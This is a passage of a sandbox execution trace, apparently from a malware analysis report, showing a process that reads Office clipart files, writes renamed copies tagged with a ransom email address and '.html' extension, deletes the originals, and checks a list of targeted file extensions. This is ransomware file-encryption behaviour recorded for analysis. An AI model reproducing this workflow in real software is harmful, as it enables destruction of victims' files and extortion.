Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.768] lstrlenW (lpString=".jpg") returned 4 [0273.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.768] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.768] lstrlenW (lpString="FD02158_.WMF") returned 12 [0273.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.768] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1648) returned 1 [0273.768] CloseHandle (hObject=0x304) returned 1 [0273.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0273.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.769] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.769] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.770] GetLastError () returned 0x0 [0273.770] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x670, lpOverlapped=0x0) returned 1 [0273.771] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x680, lpOverlapped=0x0) returned 1 [0273.772] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.772] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.772] SetEndOfFile (hFile=0x3a4) returned 1 [0273.773] CloseHandle (hObject=0x3a4) returned 1 [0273.773] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.773] SetEndOfFile (hFile=0x304) returned 1 [0273.774] CloseHandle (hObject=0x304) returned 1 [0273.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0273.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.775] lstrlenW (lpString=".doc") returned 4 [0273.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.775] lstrlenW (lpString=".docx") returned 5 [0273.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.775] lstrlenW (lpString=".pdf") returned 4 [0273.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.775] lstrlenW (lpString=".xls") returned 4 [0273.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.775] lstrlenW (lpString=".xlsx") returned 5 [0273.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.775] lstrlenW (lpString=".ppt") returned 4 [0273.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.775] lstrlenW (lpString=".zip") returned 4 [0273.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.775] lstrlenW (lpString=".rar") returned 4 [0273.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.775] lstrlenW (lpString=".bz2") returned 4 [0273.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString=".7z") returned 3 [0273.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.776] lstrlenW (lpString=".dbf") returned 4 [0273.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.776] lstrlenW (lpString=".1cd") returned 4 [0273.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.776] lstrlenW (lpString=".jpg") returned 4 [0273.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.776] lstrlenW (lpString=".doc") returned 4 [0273.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString=".docx") returned 5 [0273.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.776] lstrlenW (lpString=".pdf") returned 4 [0273.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString=".xls") returned 4 [0273.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.776] lstrlenW (lpString=".xlsx") returned 5 [0273.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.776] lstrlenW (lpString=".ppt") returned 4 [0273.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.776] lstrlenW (lpString=".zip") returned 4 [0273.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.776] lstrlenW (lpString=".rar") returned 4 [0273.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.776] lstrlenW (lpString=".bz2") returned 4 [0273.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.777] lstrlenW (lpString=".7z") returned 3 [0273.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.777] lstrlenW (lpString=".dbf") returned 4 [0273.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.777] lstrlenW (lpString=".1cd") returned 4 [0273.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0273.777] lstrlenW (lpString=".jpg") returned 4 [0273.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.837] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.837] lstrlenW (lpString="HH00084_.WMF") returned 12 [0273.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.048] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2472) returned 1 [0274.048] CloseHandle (hObject=0x354) returned 1 [0274.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0274.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.053] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.053] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.054] GetLastError () returned 0x0 [0274.054] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x9a8, lpOverlapped=0x0) returned 1 [0274.055] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0274.056] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.056] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.056] SetEndOfFile (hFile=0x39c) returned 1 [0274.056] CloseHandle (hObject=0x39c) returned 1 [0274.056] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.056] SetEndOfFile (hFile=0x398) returned 1 [0274.058] CloseHandle (hObject=0x398) returned 1 [0274.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0274.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.058] lstrlenW (lpString=".doc") returned 4 [0274.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.058] lstrlenW (lpString=".docx") returned 5 [0274.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.058] lstrlenW (lpString=".pdf") returned 4 [0274.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.058] lstrlenW (lpString=".xls") returned 4 [0274.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.058] lstrlenW (lpString=".xlsx") returned 5 [0274.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.059] lstrlenW (lpString=".ppt") returned 4 [0274.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.059] lstrlenW (lpString=".zip") returned 4 [0274.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.059] lstrlenW (lpString=".rar") returned 4 [0274.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString=".bz2") returned 4 [0274.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString=".7z") returned 3 [0274.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.059] lstrlenW (lpString=".dbf") returned 4 [0274.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.059] lstrlenW (lpString=".1cd") returned 4 [0274.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.059] lstrlenW (lpString=".jpg") returned 4 [0274.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.059] lstrlenW (lpString=".doc") returned 4 [0274.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString=".docx") returned 5 [0274.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.059] lstrlenW (lpString=".pdf") returned 4 [0274.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.059] lstrlenW (lpString=".xls") returned 4 [0274.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.059] lstrlenW (lpString=".xlsx") returned 5 [0274.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.060] lstrlenW (lpString=".ppt") returned 4 [0274.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.060] lstrlenW (lpString=".zip") returned 4 [0274.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.060] lstrlenW (lpString=".rar") returned 4 [0274.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.060] lstrlenW (lpString=".bz2") returned 4 [0274.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.060] lstrlenW (lpString=".7z") returned 3 [0274.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.060] lstrlenW (lpString=".dbf") returned 4 [0274.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.060] lstrlenW (lpString=".1cd") returned 4 [0274.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0274.060] lstrlenW (lpString=".jpg") returned 4 [0274.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.060] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.060] lstrlenW (lpString="HH00235_.WMF") returned 12 [0274.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.061] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1026) returned 1 [0274.061] CloseHandle (hObject=0x398) returned 1 [0274.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0274.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.061] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.061] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.061] GetLastError () returned 0x0 [0274.062] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x402, lpOverlapped=0x0) returned 1 [0274.063] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x410, lpOverlapped=0x0) returned 1 [0274.064] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.064] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.064] SetEndOfFile (hFile=0x39c) returned 1 [0274.064] CloseHandle (hObject=0x39c) returned 1 [0274.064] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.064] SetEndOfFile (hFile=0x398) returned 1 [0274.069] CloseHandle (hObject=0x398) returned 1 [0274.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0274.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.069] lstrlenW (lpString=".doc") returned 4 [0274.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString=".docx") returned 5 [0274.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.070] lstrlenW (lpString=".pdf") returned 4 [0274.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString=".xls") returned 4 [0274.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.070] lstrlenW (lpString=".xlsx") returned 5 [0274.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.070] lstrlenW (lpString=".ppt") returned 4 [0274.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.070] lstrlenW (lpString=".zip") returned 4 [0274.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.070] lstrlenW (lpString=".rar") returned 4 [0274.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString=".bz2") returned 4 [0274.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString=".7z") returned 3 [0274.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.070] lstrlenW (lpString=".dbf") returned 4 [0274.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.070] lstrlenW (lpString=".1cd") returned 4 [0274.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.070] lstrlenW (lpString=".jpg") returned 4 [0274.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.070] lstrlenW (lpString=".doc") returned 4 [0274.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString=".docx") returned 5 [0274.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.071] lstrlenW (lpString=".pdf") returned 4 [0274.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString=".xls") returned 4 [0274.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.071] lstrlenW (lpString=".xlsx") returned 5 [0274.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.071] lstrlenW (lpString=".ppt") returned 4 [0274.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.071] lstrlenW (lpString=".zip") returned 4 [0274.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.071] lstrlenW (lpString=".rar") returned 4 [0274.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString=".bz2") returned 4 [0274.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString=".7z") returned 3 [0274.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.071] lstrlenW (lpString=".dbf") returned 4 [0274.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.071] lstrlenW (lpString=".1cd") returned 4 [0274.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0274.071] lstrlenW (lpString=".jpg") returned 4 [0274.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.072] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.072] lstrlenW (lpString="HH00236_.WMF") returned 12 [0274.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.072] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d3ff1c | out: 